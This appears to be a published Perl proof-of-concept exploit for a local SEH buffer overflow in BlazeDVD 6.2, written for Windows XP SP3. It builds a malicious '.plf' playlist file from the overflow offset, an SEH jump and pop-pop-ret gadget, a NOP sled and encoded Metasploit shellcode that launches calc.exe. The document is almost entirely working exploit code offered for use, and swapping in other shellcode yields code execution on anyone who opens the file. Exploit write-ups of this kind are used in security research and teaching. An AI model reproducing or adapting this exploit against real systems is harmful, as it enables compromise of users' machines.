BlazeDVD 6.2 – ‘.plf’ Local Buffer Overflow (SEH)
#!/usr/bin/perl ######################################################################################### # Exploit Title: BlazeDVD 6.2 .plf Buffer Overflow (SEH) # Date: 10-28-2013 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: BlazeDVD 6.2 # Software Link: # Version: 6.2.0.0 # Tested On: Windows XP SP3 # To exploit, simply open blazesploit.plf file ######################################################################################### my $buffsize = 10000; # sets buffer size for consistent sized payload my $junk = "\x41" x 868; # nseh is at offset 868, followed by 2864 bytes of available data my $nseh = "\xeb\x08\x90\x90"; # overwrite next seh with jmp instruction (8 bytes) my $seh = pack('V',0x6033aa41); # overwrite seh w/ pop ecx pop ecx ret # ASLR: False, Rebase: False, SafeSEH: False, OS: False # \Program Files\BlazeVideo\BlazeDVD 6.1\Configuration.dll my $nops = "\x90" x 20; # pad shellcode # Calc.exe payload [size 461] -- Mind the encoding! # msfpayload windows/exec CMD=calc.exe R | # msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff' my $shell = "\xdb\xcd\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" . "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" . "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" . "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" . "\x75\x4a\x49\x69\x6c\x6b\x58\x4f\x79\x55\x50\x75\x50\x35" . "\x50\x33\x50\x4b\x39\x49\x75\x66\x51\x4a\x72\x52\x44\x6e" . "\x6b\x70\x52\x44\x70\x6e\x6b\x42\x72\x44\x4c\x4c\x4b\x63" . "\x62\x64\x54\x6e\x6b\x42\x52\x54\x68\x34\x4f\x6c\x77\x63" . "\x7a\x35\x76\x65\x61\x4b\x4f\x74\x71\x4f\x30\x6c\x6c\x65" . "\x6c\x71\x71\x53\x4c\x46\x62\x76\x4c\x37\x50\x49\x51\x68" . "\x4f\x76\x6d\x57\x71\x6b\x77\x7a\x42\x7a\x50\x32\x72\x42" . "\x77\x4c\x4b\x42\x72\x44\x50\x6c\x4b\x31\x52\x37\x4c\x55" . "\x51\x7a\x70\x4c\x4b\x33\x70\x62\x58\x4f\x75\x6b\x70\x51" . "\x64\x52\x6a\x77\x71\x78\x50\x42\x70\x4c\x4b\x52\x68\x47" . "\x68\x4c\x4b\x46\x38\x37\x50\x77\x71\x5a\x73\x58\x63\x55" . "\x6c\x53\x79\x4e\x6b\x66\x54\x4c\x4b\x73\x31\x38\x56\x75" . "\x61\x59\x6f\x36\x51\x59\x50\x4c\x6c\x6a\x61\x4a\x6f\x34" . "\x4d\x46\x61\x79\x57\x77\x48\x49\x70\x31\x65\x4b\x44\x65" . "\x53\x43\x4d\x6b\x48\x65\x6b\x53\x4d\x64\x64\x53\x45\x6d" . "\x32\x73\x68\x6e\x6b\x70\x58\x67\x54\x67\x71\x39\x43\x62" . "\x46\x6c\x4b\x76\x6c\x42\x6b\x4e\x6b\x62\x78\x45\x4c\x37" . "\x71\x38\x53\x4c\x4b\x46\x64\x4c\x4b\x45\x51\x48\x50\x4c" . "\x49\x50\x44\x71\x34\x47\x54\x71\x4b\x31\x4b\x63\x51\x31" . "\x49\x63\x6a\x70\x51\x69\x6f\x39\x70\x46\x38\x73\x6f\x53" . "\x6a\x4e\x6b\x56\x72\x58\x6b\x4b\x36\x31\x4d\x42\x4a\x55" . "\x51\x4c\x4d\x4d\x55\x38\x39\x65\x50\x65\x50\x65\x50\x56" . "\x30\x62\x48\x75\x61\x4c\x4b\x62\x4f\x4f\x77\x79\x6f\x49" . "\x45\x6f\x4b\x5a\x50\x6c\x75\x4d\x72\x36\x36\x42\x48\x59" . "\x36\x4a\x35\x4d\x6d\x6d\x4d\x49\x6f\x49\x45\x45\x6c\x45" . "\x56\x43\x4c\x76\x6a\x4f\x70\x39\x6b\x4b\x50\x42\x55\x36" . "\x65\x4d\x6b\x51\x57\x44\x53\x62\x52\x50\x6f\x62\x4a\x77" . "\x70\x56\x33\x6b\x4f\x4a\x75\x35\x33\x35\x31\x72\x4c\x33" . "\x53\x74\x6e\x32\x45\x43\x48\x75\x35\x37\x70\x41\x41"; my $sploit = $junk.$nseh.$seh.$nops.$shell; # assemble the sploit my $fill = "\x43" x ($buffsize - (length($sploit))); # create buffer fill my $buffer = $sploit.$fill; # assemble final buffer # write the exploit buffer to file my $file = "blazesploit.plf"; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file created [" . $file . "]\n"; print "Buffer size: " . length($buffer) . "\n"; |